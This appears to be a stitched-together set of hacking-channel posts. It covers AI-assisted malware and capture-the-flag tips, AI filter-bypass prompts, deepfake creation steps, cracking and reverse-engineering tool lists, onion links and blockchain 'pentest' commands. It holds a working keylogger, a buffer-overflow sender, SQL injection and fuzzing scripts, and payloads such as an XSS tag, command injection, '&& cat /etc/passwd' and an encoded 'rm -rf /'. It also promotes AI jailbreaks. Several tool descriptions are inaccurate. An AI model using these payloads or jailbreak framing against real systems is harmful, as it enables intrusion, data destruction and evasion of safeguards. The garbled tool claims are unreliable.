Automated Collection of Vulnerabilities and Their Fixes from Open-Source Software

https://github.com/secureIT-project/CVEfixes

🦑 Creating AI based Malware

Creating and Solving Challenges with AI Safeguards

Before proceeding, it's crucial to highlight that creating malware, participating in malicious activities, or circumventing ethical guidelines is against responsible and lawful use of technology.


### Step-by-Step Approach to Solve AI-based s

#### 1. Understand the Challenge Context:
- Category: Identify if it's reverse engineering, binary exploitation, web exploitation, cryptography, or malware analysis.
- Analyze the Objective: Read the challenge carefully to determine what needs to be achieved (e.g., decode, extract, or manipulate).

#### 2. Leverage AI for Analysis:
Use AI-based tools to analyze or automate repetitive tasks:
- Binary Analysis: Use frameworks like Ghidra or Radare2 for reverse engineering.
- Automate Patterns: Leverage Python with AI libraries like OpenAI or TensorFlow for pattern recognition or automated testing.

#### 3. Code Malware-like Behavior (Legally for Educational Purposes):
When solving a , you may encounter situations mimicking malware functionality:
- Payload Analysis: Decrypt encoded payloads using tools like CyberChef.
- Code Automation:
- Example: Create a keylogger (for analysis, NOT deployment):

       from pynput import keyboard

       def on_press(key):
           try:
               print(f"Key {key.char} pressed")
           except AttributeError:
               print(f"Special key {key} pressed")

       with keyboard.Listener(on_press=on_press) as listener:
           listener.join()
       

#### 4. Exploit Development:
- Use tools like Metasploit or custom scripts to simulate the exploitation phase.
- Example of a buffer overflow simulation (basic concept):

     import socket

     target_ip = "127.0.0.1"
     target_port = 9999
     payload = b"A" * 1024  # Overflow buffer size

     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     s.connect((target_ip, target_port))
     s.send(payload)
     s.close()
     

#### 5. AI-assisted Malware Analysis:
- Dynamic Analysis: Use sandboxing tools like Cuckoo Sandbox to observe malware behavior in a controlled environment.
- Static Analysis: Utilize AI models to classify potential threats from a binary.

#### 6. Reverse Engineer the Challenge:
- Use tools like IDA Pro or Binary Ninja to decompile and analyze binaries.
- Example: Identifying a hardcoded key in a binary:
- Use Ghidra to navigate to the main function and identify key variables.

#### 7. Test with Custom AI Scripts:
Automate solving repetitive tasks:
- Password Cracking:
- Use AI to brute force or pattern match probable passwords.
- Example: Use hashcat for password recovery.

- Web Exploitation:
- Automate SQL injection:

       import requests

       target_url = "http://example.com/login"
       payload = {"username": "' OR 1=1 --", "password": ""}
       response = requests.post(target_url, data=payload)
       print(response.text)
       

#### 8. Validate and Optimize:
- Use AI tools to simulate attack scenarios and validate success.
- Example: Use machine learning models for detecting evasion in traffic.

---

### Recommendations and Guidelines:
- Focus on solving s ethically and using skills for legitimate purposes like penetration testing or cybersecurity research.
- Follow rules to ensure fair play and improve your knowledge responsibly.
- Leverage tools like AI models for accelerating repetitive tasks, but always align their use with ethical guidelines.

If you’re facing specific challenges in a , feel free to describe them, and I'll help guide you through solving them!

🦑 Example AI Filter Bypass

Ai gives us prompts to bypass his filters🫠

Crafting prompts or solutions to bypass ethical filters in a scenario requires careful handling to ensure compliance with ethical guidelines, lawful practices, and the intended educational purposes of the challenge. Here's how to approach solving s using AI responsibly:

---

### 1. Understand the Challenge
- Identify Filters: What type of filter or protection is in place? (e.g., WAF, input validation, rate limits).
- Analyze the Scope: Are you working with web input, network traffic, or system-level constraints?

---

### 2. AI-Assisted Prompts for Analysis
Leverage AI tools like ChatGPT, GPT-4, or custom LLMs to assist in analyzing and solving . Below are ethical and focused prompts:

#### Input Validation or WAF Bypass
- Prompt:
- *"Generate a list of obfuscated SQL payloads to test input validation mechanisms, ensuring they align with ethical penetration testing practices."*
- *"How can I encode payloads to bypass basic web filters while remaining within educational use?"*

#### Payload Generation for Testing
- Prompt:
- *"What are effective URL-encoding methods to test a web application's XSS filter?"*
- *"Explain how base64 encoding can be applied to payloads for safe testing of filters in s."*

#### Analyzing Network or Application Behavior
- Prompt:
- *"Suggest methods to analyze rate-limiting strategies in a web application during a ."*
- *"What are common header manipulations that can help test a web firewall in a controlled environment?"*

---

### 3. Practical AI-Assisted Payload Creation
Below are some examples of payloads and bypass techniques for testing in s, ensuring lawful use:

#### SQL Injection (Obfuscated Inputs)
- AI-generated prompt:
*"Craft an SQL injection payload that uses hex encoding or alternative comment syntax to bypass basic filters."*
- Example:

  ' OR 1=1;-- 
  

#### XSS (Input Sanitization Bypass)
- AI-generated prompt:
*"Provide an XSS payload that utilizes uncommon attributes or event handlers to bypass sanitization filters."*
- Example:

  <img src="x" onerror="alert('')">
  

#### Command Injection (Encoding Payloads)
- AI-generated prompt:
*"Explain how to encode command injection payloads to evade simple validation mechanisms."*
- Example:

  ; ls -la;
  

---

### 4. AI-Assisted Automation
#### Testing HTTP Parameters
- Prompt:
*"Generate Python code for fuzzing HTTP parameters using a predefined payload list in a environment."*
- Code:

  import requests

  target_url = "http://example.com/vulnerable-endpoint"
  payloads = ["' OR 1=1 --", "<script>alert(1)</script>", "&& cat /etc/passwd"]

  for payload in payloads:
      response = requests.get(target_url, params={"input": payload})
      print(f"Payload: {payload}, Response: {response.status_code}")
  

#### AI-Based Encoding
- Prompt:
*"Explain how to encode attack payloads using techniques like URL encoding or base64 to test input filters."*
- Code Example:

  import base64

  payload = "rm -rf /"
  encoded_payload = base64.b64encode(payload.encode()).decode()
  print(f"Encoded Payload: {encoded_payload}")
  

---

### 5. Top AI Prompts for Problem-Solving in s
Here are adaptable prompts for specific challenges:
1. Input Validation Bypass:
*"What are common bypass techniques for input validation using encoding, transformations, or special characters?"*
2. Filter Detection:
*"How can I use timing analysis to detect the presence of a web application firewall in a setting?"*
3. Automation Strategies:
*"Provide a Python script for automating brute-force testing of input fields while respecting ethical boundaries."*
4. Reverse Engineering Assistance:
*"Explain how to identify hardcoded secrets in a binary file using reverse engineering tools."*
5. Advanced Obfuscation:
*"What are creative ways to obfuscate payloads for educational while maintaining execution?"*

---

🦑Useful ChatGPT prompts

https://github.com/f/awesome-chatgpt-prompts/blob/main/prompts.csv

🦑 Setup a 2024 Drupal vulnerability:

After installing the drupal application the developer can change the hash_salt variable on line 268 in the /sites/default/settings.php file. As advised in the example the developer can use a file for this by using the file_get_contents function:

If this is set to a file with a salt string in it the application works as intended. However if this is set to an empty file or a file that doesn’t exist. It could be that this file it was set to gets deleted, removed or renamed after some time. This will break the website. As an example the following code can be used as recommended in the image

Now if this file gets removed the application breaks and the full path traversal is shown by navigating to /core/authorize.php as is shown in the image.

Universal AI Jailbreak SMASHES GPT4, Claude, Gemini, LLaMA

https://youtu.be/9IM5d-egZ7M

🦑xx Deep Fake Videos Notes :

---

How Deepfakes Are Created:

#### 1. Understanding Deepfakes
Deepfakes are AI-generated videos or images where someone's face or voice is swapped or synthesized using machine learning techniques. They are often made with deep learning algorithms, particularly Generative Adversarial Networks (GANs) or autoencoders.

---

#### 2. Tools and Technologies Used
Creating deepfakes involves the following tools:

- DeepFaceLab: The most popular open-source tool for creating deepfake videos.
- FaceSwap: Another open-source tool with a user-friendly interface.
- First-Order Motion Model: Generates animations using reference images and motion vectors.
- DeepFakeGenerator: Often used for quick results with less control over quality.

---

#### 3. The Process
1. Collect Data:
- Gather high-quality video/images of the target (person to fake).
- More data = better quality. Include various angles and expressions.

2. Preprocessing:
- Detect and extract the face from all frames using facial recognition tools.
- Tools like dlib, MTCNN, or OpenCV can help with this.
- Align and normalize the faces to make them consistent.

3. Train the Model:
- Use an autoencoder or GAN-based model to train on the extracted faces.
- The model learns to replicate and map the source face onto the target face.
- Training can take days or weeks, depending on hardware and dataset size.

4. Face Swapping:
- Once trained, the model generates fake frames with the source face mapped onto the target video.

5. Postprocessing:
- Use video editing tools to blend the fake face seamlessly with the target.
- Adjust lighting, shadows, and other effects for realism.

6. Generate the Final Output:
- Combine the processed frames back into a video.

---

#### 4. Ethical Considerations
The challenge might also require discussing:
- The risks of misuse, such as in disinformation or explicit content.
- Legal and ethical implications.
- Techniques to detect and prevent deepfakes (e.g., AI-based detection algorithms).

---

#### Sample Code for Basics
Here's a simplified Python example using OpenCV to detect and align faces:

import cv2

# Load pre-trained face detection model
face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')

# Read the image
image = cv2.imread('source_image.jpg')
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

# Detect faces
faces = face_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=5)

# Draw rectangles around faces
for (x, y, w, h) in faces:
    cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 2)

cv2.imshow('Detected Faces', image)
cv2.waitKey(0)
cv2.destroyAllWindows()

---

### Key Points to Include
- Explain how GANs or autoencoders are essential for deepfake creation.
- Provide examples of tools like DeepFaceLab or code snippets (if allowed).
- Address ethical challenges.

This guide is for educational purposes only.🙂

🦑Cryptographic operations:

---

### 1. [libsodium](https://github.com/jedisct1/libsodium)
- Description: A modern, easy-to-use crypto library designed for security and performance.
- Features:
- Symmetric encryption (secretbox)
- Public-key encryption (box)
- Key derivation, signing, hashing, and random number generation
- Use Case: General-purpose cryptographic operations.

---

### 2. [age](https://github.com/FiloSottile/age)
- Description: A simple, modern, and secure encryption tool.
- Features:
- Designed for encrypting files with minimal configuration.
- Supports passphrases and SSH keys for decryption.
- Use Case: File encryption and secure file sharing.

---

### 3. [PyCryptodome](https://github.com/Legrandin/pycryptodome)
- Description: A self-contained Python package for cryptography.
- Features:
- Symmetric ciphers (AES, ChaCha20, etc.)
- Public-key algorithms (RSA, DSA, ECC)
- Cryptographic hashes (SHA, MD5)
- Use Case: Building encryption into Python applications.

---

### 4. [OpenSSL](https://github.com/openssl/openssl)
- Description: A robust toolkit for SSL/TLS protocols and general-purpose cryptography.
- Features:
- Encryption/decryption using symmetric and asymmetric algorithms.
- SSL/TLS implementation.
- Extensive support for various cipher suites.
- Use Case: Secure communication and application-level encryption.

---

### 5. [Tink](https://github.com/google/tink)
- Description: A multi-language, cross-platform library for cryptographic operations by Google.
- Features:
- Simplified APIs for common cryptographic use cases.
- High-level encryption, decryption, and key management.
- Use Case: Easy-to-use cryptographic operations for developers.

---

### 6. [VeraCrypt](https://github.com/veracrypt/VeraCrypt)
- Description: Disk encryption software based on TrueCrypt.
- Features:
- Full-disk encryption with advanced security features.
- Support for hidden volumes.
- Use Case: Secure storage of sensitive data.

---

### 7. [cryptography](https://github.com/pyca/cryptography)
- Description: A Python library that provides cryptographic recipes and primitives.
- Features:
- Symmetric and asymmetric encryption.
- X.509 certificate parsing.
- Secure random number generation.
- Use Case: Secure data transmission and application-layer encryption in Python.

---

### 8. [GPG](https://github.com/gpg/gnupg)
- Description: The GNU Privacy Guard, an implementation of OpenPGP.
- Features:
- Encrypt and sign data and communications.
- Key management and public key encryption.
- Use Case: Encrypting emails and files securely.

---

### 9. [rnp](https://github.com/rnpgp/rnp)
- Description: OpenPGP library and CLI tool compatible with GPG.
- Features:
- Encrypting, decrypting, signing, and verifying messages.
- Key generation and management.
- Use Case: OpenPGP encryption in modern applications.

---

### 10. [NaCl (Networking and Cryptography Library)](https://github.com/libsodium/libsodium)
- Description: A low-level cryptography library offering high-performance cryptographic primitives.
- Features:
- Public-key, secret-key, and hash-based cryptographic operations.
- Focus on simplicity and security.
- Use Case: Performance-focused cryptographic solutions.

---

### 11. [CryFS](https://github.com/cryfs/cryfs)
- Description: Cryptographic filesystem for securing cloud storage.
- Features:
- Transparent file encryption.
- Data integrity verification.
- Use Case: Encrypting files in cloud storage services like Dropbox or Google Drive.

---

### 12. [sops](https://github.com/mozilla/sops)
- Description: A tool for managing secrets with encryption.
- Features:
- Encrypts files using AWS KMS, GCP KMS, Azure Key Vault, or PGP.
- Supports YAML, JSON, ENV, and INI files.
- Use Case: Secure storage of configuration files and secrets.

Exploiting 70% of Windows Machines With IPv6 Vulnerability:

https://youtu.be/r-fqJaHRoHs

🦑Top Decryption Tools 2024-2025:

---

1. CyberChef(https://github.com/gchq/CyberChef)
- Description: A web-based "Cyber Swiss Army Knife" for encryption, decryption, and data manipulation.
- Features:
- Decrypts data encoded with base64, XOR, AES, etc.
- Includes hash crackers and forensic analysis tools.
- Use Case: Universal tool for decryption and data transformation.

---

2. John the Ripper(https://github.com/openwall/john)
- Description: A password cracker supporting numerous encryption formats.
- Features:
- Cracks hashed passwords using brute force and dictionary attacks.
- Supports MD5, SHA, DES, Blowfish, and more.
- Use Case: Decrypting password hashes for security assessments.

---

3. hashcat(https://github.com/hashcat/hashcat)
- Description: An advanced GPU-based password recovery tool.
- Features:
- Supports over 300 hash and encryption algorithms.
- Custom rule sets for password recovery.
- Use Case: Decrypting and recovering encrypted passwords.

---

4. Ciphey(https://github.com/Ciphey/Ciphey)
- Description: Automated decryption tool that uses AI and natural language processing.
- Features:
- Detects encryption methods automatically.
- Decodes ciphertext into human-readable text.
- Use Case: Quick decryption of unknown encrypted data.

---

5. GPG (GNU Privacy Guard)(https://github.com/gpg/gnupg)
- Description: Decrypts data encrypted with the OpenPGP standard.
- Features:
- Decrypts and verifies encrypted emails, files, and data.
- Key management and multi-platform compatibility.
- Use Case: Decrypting communications and files in OpenPGP format.

---

6. OpenSSL(https://github.com/openssl/openssl)
- Description: A toolkit for SSL/TLS protocols with decryption capabilities.
- Features:
- Decrypts SSL/TLS traffic (with private keys).
- Decrypts data encrypted with OpenSSL algorithms.
- Use Case: Secure communication decryption and data recovery.

---

7. decrypt-wpa(https://github.com/mcgrew/decrypt-wpa)
- Description: Tool for decrypting WPA traffic with a known PSK (pre-shared key).
- Features:
- Supports WPA2 capture decryption using Wireshark-compatible files.
- Packet-by-packet decryption.
- Use Case: Analyzing and decrypting WPA-encrypted network traffic.

---

8. CrackStation(https://github.com/CrackStation/crackstation-wordlist)
- Description: A massive password decryption tool using precomputed hash dictionaries.
- Features:
- Decrypts MD5, SHA-1, and other hash formats.
- Includes a comprehensive wordlist for hash matching.
- Use Case: Hash decryption and penetration testing.

---

9. bcrypt-tool(https://github.com/rg3/bcrypt-tool)
- Description: A command-line utility to decrypt bcrypt-encrypted passwords.
- Features:
- Uses brute-force and dictionary attacks for bcrypt hashes.
- High-performance decryption with GPU support.
- Use Case: Decrypting bcrypt-protected passwords.

---

10. Mimikatz(https://github.com/gentilkiwi/mimikatz)
- Description: A popular tool for extracting plaintext passwords and keys from memory.
- Features:
- Decrypts Windows credentials from memory (LSASS process).
- Extracts Kerberos tickets and NTLM hashes.
- Use Case: Forensic and penetration testing to decrypt sensitive credentials.

---

11. Hash-Identifier(https://github.com/blackploit/hash-identifier)
- Description: Identifies the type of hash and prepares for decryption.
- Features:
- Recognizes over 200 hash types.
- Prepares data for tools like John the Ripper or hashcat.
- Use Case: Pre-decryption hash identification.

---

12. AES Crypt(https://github.com/paulej/AESCrypt)
- Description: A file encryption and decryption tool using AES-256.
- Features:
- Command-line interface for secure decryption.
- Cross-platform compatibility.
- Use Case: Secure file decryption for personal and business use.

---

🦑 Dark Web Online sites List:

Email Providers
Cock.li xdkriz6cn2avvcr2vks5lvvtmfojz2ohjzj4fhyuka55mvljeso2ztqd.onion

Elude.in eludemailxhnqzfmxehy3bk5guyhlxbunfyhkcksv4gvx6d3wcf6smad.onion

Sonar Tor Messenger sonarmsng5vzwqezlvtu2iiwwdn3dxkhotftikhowpfjuzg7p3ca5eid.onion

ProtonMail protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion

RiseUp Email 5gdvpfoh6kb2iqbizb37lzk2ddzrwa47m6rpdueg2m656fovmbhoptqd.onion

Blogs And Personal Sites
qorg11.net lainwir3s4y5r7mqm3kurzpljyf77vty2hrrfkps6wm4nnnqzest4lqd.onion

Course Enigma cgjzkysxa4ru5rhrtr6rafckhexbisbtxwg2fg743cjumioysmirhdad.onion

Kill-9 killnod2s77o3axkktdu52aqmmy4acisz2gicbhjm4xbvxa2zfftteyd.onion

Digdeeper digdeep4orxw6psc33yxa2dgmuycj74zi6334xhxjlgppw6odvkzkiad.onion

Spware Watchdog spywaredrcdg5krvjnukp3vbdwiqcv3zwbrcg6qh27kiwecm4qyfphid.onion

MayVaneDay Studios meynethaffeecapsvfphrcnfrx44w2nskgls2juwitibvqctk2plvhqd.onion

Shadow Wiki zsxjtsgzborzdllyp64c6pwnjz5eic76bsksbxzqefzogwcydnkjy3yd.onion

Outer Space reycdxyc24gf7jrnwutzdn3smmweizedy7uojsa7ols6sflwu25ijoyd.onion

Tech Learning Collective lpiyu33yusoalp5kh3f4hak2so2sjjvjw5ykyvu2dulzosgvuffq6sad.onion

Fuwa Fuwa fwfwqtpi2ofmehzdxe3e2htqfmhwfciwivpnsztv7dvpuamhr72ktlqd.onion

S-Config xjfbpuj56rdazx4iolylxplbvyft2onuerjeimlcqwaihp3s6r4xebqd.onion
 
Hacking
Defcon g7ejphhubv5idbbu3hb3wawrs5adw7tkx7yjabnf65xtzztgg4hcsqqd.onion

InfoCon w27irt6ldaydjoacyovepuzlethuoypazhhbot6tljuywy52emetn7qd.onion
 
News Sites
ProPublica p53lf57qovyuvwsc6xnrppyply3vtqm7l6pcobkmyqsiofyeznfu5uqd.onion
Darknetlive darkzzx4avcsuofgfez5zq75cqc4mprjvfqywo45dfcaxrwqg6qrlfid.onion
 
Open Source Software
OnionShare lldan5gahapx5k7iafb3s4ikijc4ni7gx5iywdflkba5y2ezyg6sjgyd.onion

Whonix dds6qkxpwdeubwucdiaord2xgbbeyds25rbsgr73tbfpqpt4a6vjwsyd.onion

Qubes OS www.qubesosfasa4zl44o4tws22di6kepyzfeqv3tg4e3ztknltfxqrymdad.onion

Keybase.IO keybase5wmilwokqirssclfnsqrjdsi7jdir5wy7y7iu3tanwmtp6oid.onion

Bitcoin Core 6hasakffvppilxgehrswmffqurlcjjjhd76jgvaqmsg6ul25s7t3rzyd.onion

Wasabi Wallet wasabiukrxmkdgve5kynjztuovbg43uxcbcxn6y2okcrsg7gb6jdmbad.onion

The Tor Project 2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wid.onion
 
Others
CIA.gov ciadotgov4sjwlzihbbgxnqg3xiyrg7so2r2o3lt5wz5ypk4sxyjstad.onion

Internet Archive archivebyd3rzt3ehjpm4c3bjkyxv3hjleiytnvxcn7x32psn2kxcuid.onion

Bible4u bible4u2lvhacg4b3to2e2veqpwmrc2c3tjf2wuuqiz332vlwmr4xbad.onion

Imperial Library kx5thpx2olielkihfyo4jgjqfb7zx7wxr3sd4xzt26ochei4m6f7tayd.onion

Comic Book Library nv3x2jozywh63fkohn5mwp2d73vasusjixn3im3ueof52fmbjsigw6ad.onion

Tor Paste torpastezr7464pevuvdjisbvaf4yqi4n7sgz7lkwgqwxznwy5duj4ad.onion

Fuck Facebook 4wbwa6vcpvcr3vvf4qkhppgy56urmjcj2vagu2iqgp3z656xcmfdbiqd.onion

Just Another Library libraryfyuybp7oyidyya3ah5xvwgyix6weauoini7zyz555litmmumad.onion

Google Feud lkqx6qn7whctpdjhcoohpoyi6ahtrveuii7kq2m647ssvo5skqp7ioad.onion

NCIDE Police Task Force ncidetfs7banpz2d7vpndev5somwoki5vwdpfty2k7javniujekit6ad.onion

🦑Ethereum Hacking:

Mythril for Smart Contracts (Ethereum)
If you want to explore Mythril's use cases (Ethereum-focused):
1. Install Mythril:

   pip install mythril
   

2. Run Mythril to analyze a smart contract:

   myth analyze contract.sol
   

3. Detect vulnerabilities in bytecode:

   myth analyze --rpc http://127.0.0.1:8545 -a <CONTRACT_ADDRESS>
   

---

### Commands for Bitcoin Pentesting
Bitcoin pentesting would rely on tools and methods such as analyzing P2SH scripts, transaction structures, and wallet vulnerabilities. Below are specific actionable commands/tools:

#### 1. Bitcoin Script Analysis
Use bitcoin-cli to decode and analyze scripts:

   bitcoin-cli decodescript <HEX_SCRIPT>
   

#### 2. Transaction Vulnerability Analysis
Decode raw transactions:

   bitcoin-cli decoderawtransaction <RAW_TX>
   

#### 3. Wallet Testing
Test wallets using libraries like btcpy:

   from btcpy.structs.transaction import Transaction
   tx = Transaction.deserialize(<RAW_TX>)
   print(tx)
   

#### 4. Cross-Site Blockchain Vulnerabilities
Automate REST API pentesting for wallets or blockchain explorers:

   sqlmap -u "http://blockchainexplorer.com/api?query=*" --dbs
   

#### 5. Custom Scripts for Exploits
Create Bitcoin raw transactions with custom scripts:

   bitcoin-cli createrawtransaction '[{"txid":"<TXID>","vout":<INDEX>}]' '{"<ADDRESS>":<AMOUNT>}'
   

---

### Mythril-like Analysis for Bitcoin Alternatives
1. Analyze multisig transactions for bugs:

   bitcoin-cli validateaddress <ADDRESS>
   

2. Debug SegWit scripts:

   bitcoin-cli decodescript <HEX_SCRIPT>
   

3. Use btcd or other libraries to craft transactions:
`bash
go run btcd_tx_tool.go

This post is made for educational purposes

🦑Top Free Local AI

Open LLM Leaderboard 


https://huggingface.co/collections/open-llm-leaderboard/open-llm-leaderboard-best-models-652d6c7965a4619fb5c27a03

🦑 AI models and tools for cybersecurity and hacking research

1. Code Analysis and Security Tools
- CodeBERT: AI model for secure code analysis.
URL: [https://huggingface.co/microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base)
- DeepCode by Snyk: Detects vulnerabilities in codebases.
URL: [https://www.deepcode.ai/](https://www.deepcode.ai/)
- Joern: Open-source code analysis tool designed for vulnerability discovery.
URL: [https://joern.io/](https://joern.io/)

2. Adversarial Models and Simulations
- DeepExploit: Automates penetration testing with AI-driven attacks.
URL: [https://github.com/13o-bbr-bbq/machine_learning_security](https://github.com/13o-bbr-bbq/machine_learning_security)
- TextAttack: Framework for generating adversarial text for NLP systems.
URL: [https://github.com/QData/TextAttack](https://github.com/QData/TextAttack)
- Foolbox: Test the robustness of AI models with adversarial inputs.
URL: [https://foolbox.readthedocs.io/](https://foolbox.readthedocs.io/)

3. Malware Detection and Threat Intelligence
- MalConv: Neural network for malware detection from raw binaries.
URL: [https://github.com/Endermanch/MalwareDatabase](https://github.com/Endermanch/MalwareDatabase)
- Cuckoo Sandbox AI: Analyze malware behavior with AI integration.
URL: [https://cuckoosandbox.org/](https://cuckoosandbox.org/)
- Viper Framework: Malware and binary analysis toolset.
URL: [https://github.com/viper-framework/viper](https://github.com/viper-framework/viper)

4. Image and Data Analysis Tools
- YOLO (You Only Look Once): Detect anomalies or objects in visual data.
URL: [https://github.com/ultralytics/yolov5](https://github.com/ultralytics/yolov5)
- AutoML Vision by Google: Train custom vision models for detecting tampering.
URL: [https://cloud.google.com/automl](https://cloud.google.com/automl)

5. Network and System Monitoring Tools
- SnortAI: Intrusion detection with machine learning enhancements.
URL: [https://www.snort.org/](https://www.snort.org/)
- Zeek AI (Bro): Network analysis framework extended with AI.
URL: [https://zeek.org/](https://zeek.org/)
- DeepPacket: AI-driven analysis of network packet data.
URL: [https://github.com/xiaokexiang/DeepPacket](https://github.com/xiaokexiang/DeepPacket)

6. General Security Tools with AI Features
- TriageML: Machine learning for automating malware triage.
URL: [https://github.com/fireeye/Triage](https://github.com/fireeye/Triage)
- AI-Hunter: AI-driven platform for detecting and investigating cyber threats.
URL: [https://www.criticalstart.com/ai-hunter/](https://www.criticalstart.com/ai-hunter/)
- ELK Stack with AI: Integrate AI plugins with the ELK Stack for advanced threat detection.
URL: [https://www.elastic.co/](https://www.elastic.co/)

🦑 Email Tracking:


### 🔍 About Zehef
Zehef specializes in:
- Locating public data associated with a specific email address.
- Providing insights into email breaches, pastes, and social media accounts.

---

### 🌠 Key Features
1. Breached Data Check:
- Identify if the email has appeared in any public data breaches using sources like Pastebin or others.
2. HudsonRock Integration:
- Leverage HudsonRock to analyze leaks and identify potential compromises.
3. Social Media Account Discovery:
- Check for linked accounts across platforms such as:
- Instagram
- Spotify
- Deezer
- Adobe
- 𝕏 (formerly Twitter), etc.
4. Email Combination Generation:
- Create possible variations of the target email for further testing or OSINT purposes.

---

### 📦 Installation
#### Prerequisites
- Python: Version 3.10 or later.
- Git: Installed and configured.

#### Steps:
1. Clone the Zehef repository:

   git clone https://github.com/N0rz3/Zehef.git
   cd Zehef
   

2. Install the dependencies:

   pip3 install -r requirements.txt
   

---

### 🎲 Usage
Run the tool with the following syntax:

python3 zehef.py [email]

#### Example:

python3 zehef.py target@example.com

#### Available Options:
- email: The email address for which you want to retrieve information.
- -h, --help: Displays help information.

---

### 💡 Notes
Zehef is an advanced tool for ethical OSINT practices and should only be used with proper authorization. Misuse could violate laws or terms of service on various platforms.

🔗 GitHub Repository: [Zehef on GitHub](https://github.com/N0rz3/Zehef)

🦑Multi Account Generator:

https://github.com/MatrixTM/MultiAccountGenerator

🦑 To "run a script" on a quantum computer, you typically use a quantum programming language like Qiskit (for IBM Quantum), Cirq (for Google's quantum devices), or others like Braket (Amazon)

Quantum Script Using Qiskit

# Import necessary libraries
from qiskit import QuantumCircuit, Aer, execute

# Step 1: Create a quantum circuit with one qubit and one classical bit
qc = QuantumCircuit(1, 1)

# Step 2: Apply a Hadamard gate to put the qubit in superposition
qc.h(0)

# Step 3: Measure the qubit
qc.measure(0, 0)

# Step 4: Simulate the quantum circuit
simulator = Aer.get_backend('qasm_simulator')  # Classical simulation of a quantum computer
result = execute(qc, simulator, shots=1024).result()

# Step 5: Retrieve and display results
counts = result.get_counts()
print("Measurement Results:", counts)

# Optional: Visualize the circuit
print(qc)

---

### What It Does:
1. Hadamard Gate (H): Places the qubit in a superposition, meaning it's in a mix of |0⟩ and |1⟩.
2. Measurement: Collapses the qubit to either |0⟩ or |1⟩ probabilistically upon measurement.
3. Simulation: Runs the quantum program multiple times (e.g., 1024 shots) on a classical simulator to emulate quantum results.

---

### Output Example:
After running, you might see:

Measurement Results: {'0': 511, '1': 513}
     ┌───┐ ░ ┌─┐
q_0: ┤ H ├─░─┤M├
     └───┘ ░ └╥┘
c_0: ────────╨─

---

### Running on a Real Quantum Computer:
If you have access to IBM Quantum or a similar quantum platform:
1. Replace the simulator with an actual quantum backend:

   from qiskit import IBMQ
   IBMQ.load_account()
   provider = IBMQ.get_provider(hub='ibm-q')
   backend = provider.get_backend('ibmq_qasm_simulator')  # Use an actual quantum device here
   result = execute(qc, backend, shots=1024).result()
   

Quantum computing is still in its infancy, and scripts generally focus on demonstrating concepts or solving specific problems (e.g., optimization or quantum chemistry simulations). Let me know if you'd like to explore further!

🦑 Reverse engineering:

🖥️ Static Analysis Tools
1. IDA Pro
- Industry-standard disassembler and debugger for analyzing binaries.
- Includes a powerful scripting engine.
- Website: [Hex-Rays](https://hex-rays.com/)

2. Ghidra
- Open-source reverse engineering suite developed by the NSA.
- Features include decompilation and support for various architectures.
- GitHub: [Ghidra](https://github.com/NationalSecurityAgency/ghidra)

3. Radare2
- Advanced open-source framework for analyzing binaries, debugging, and patching.
- Command-line focused but has GUI support via Cutter.
- GitHub: [Radare2](https://github.com/radareorg/radare2)

4. Binary Ninja
- Lightweight reverse engineering platform with an emphasis on automation.
- Features include powerful APIs for custom analysis.
- Website: [Binary Ninja](https://binary.ninja/)

5. Capstone
- A lightweight disassembly framework supporting multiple architectures.
- Often used as a backend for other tools.
- GitHub: [Capstone](https://github.com/capstone-engine/capstone)

---

### 🔍 Dynamic Analysis Tools
1. OllyDbg
- Classic debugger for Windows binaries.
- Focused on malware and exploit analysis.

2. WinDbg
- A powerful Windows debugger.
- Commonly used for debugging Windows kernel and drivers.

3. x64dbg
- Open-source debugger for Windows applications.
- Provides a user-friendly GUI and scripting capabilities.
- GitHub: [x64dbg](https://github.com/x64dbg/x64dbg)

4. Frida
- Dynamic instrumentation toolkit.
- Ideal for analyzing mobile apps and binaries during runtime.
- GitHub: [Frida](https://github.com/frida/frida)

5. Qiling Framework
- Advanced binary emulation framework for testing and debugging.
- Supports multiple architectures.
- GitHub: [Qiling Framework](https://github.com/qilingframework/qiling)

---

### 📱 Mobile App Reverse Engineering Tools
1. APKTool
- Decompiles Android APK files to view the source code and resources.
- Ideal for analyzing Android malware or app vulnerabilities.
- GitHub: [APKTool](https://github.com/iBotPeaches/Apktool)

2. Jadx
- Decompiler for Android DEX and APK files.
- Converts binary code into readable Java code.
- GitHub: [Jadx](https://github.com/skylot/jadx)

3. Hopper Disassembler
- User-friendly disassembler and debugger for macOS and iOS binaries.
- Website: [Hopper](https://www.hopperapp.com/)

---

### ⚙️ Firmware Reverse Engineering Tools
1. Binwalk
- Tool for extracting and analyzing firmware images.
- Frequently used in IoT and embedded system analysis.
- GitHub: [Binwalk](https://github.com/ReFirmLabs/binwalk)

2. GHIDRA Firmware Analyzer
- Part of Ghidra; supports firmware disassembly and analysis.

3. Firmadyne
- Emulation and analysis of Linux-based firmware.
- GitHub: [Firmadyne](https://github.com/firmadyne/firmadyne)

---

### 🔐 Encryption and Obfuscation Tools
1. Uncompyle6
- Decompiler for Python bytecode back into readable Python source code.
- GitHub: [Uncompyle6](https://github.com/rocky/python-uncompyle6)

2. Procyon
- Java decompiler that supports modern Java features.
- GitHub: [Procyon](https://github.com/mstrobel/procyon)

3. Snowman Decompiler
- Lightweight decompiler for C/C++ binaries.
- GitHub: [Snowman](https://github.com/yegord/snowman)

---

### 💡 Other Useful Tools
1. YARA
- Helps identify and classify malware through pattern matching.
- GitHub: [YARA](https://github.com/VirusTotal/yara)

2. RETool
- Web-based reverse engineering toolkit.
- Ideal for quick analysis without heavy installations.
- Website: [RETool](https://reverseengineeringtool.com/)

3. DiE (Detect It Easy)
- Identifies obfuscation, packers, and encryption in binaries.
- GitHub: [Detect It Easy](https://github.com/horsicq/Detect-It-Easy)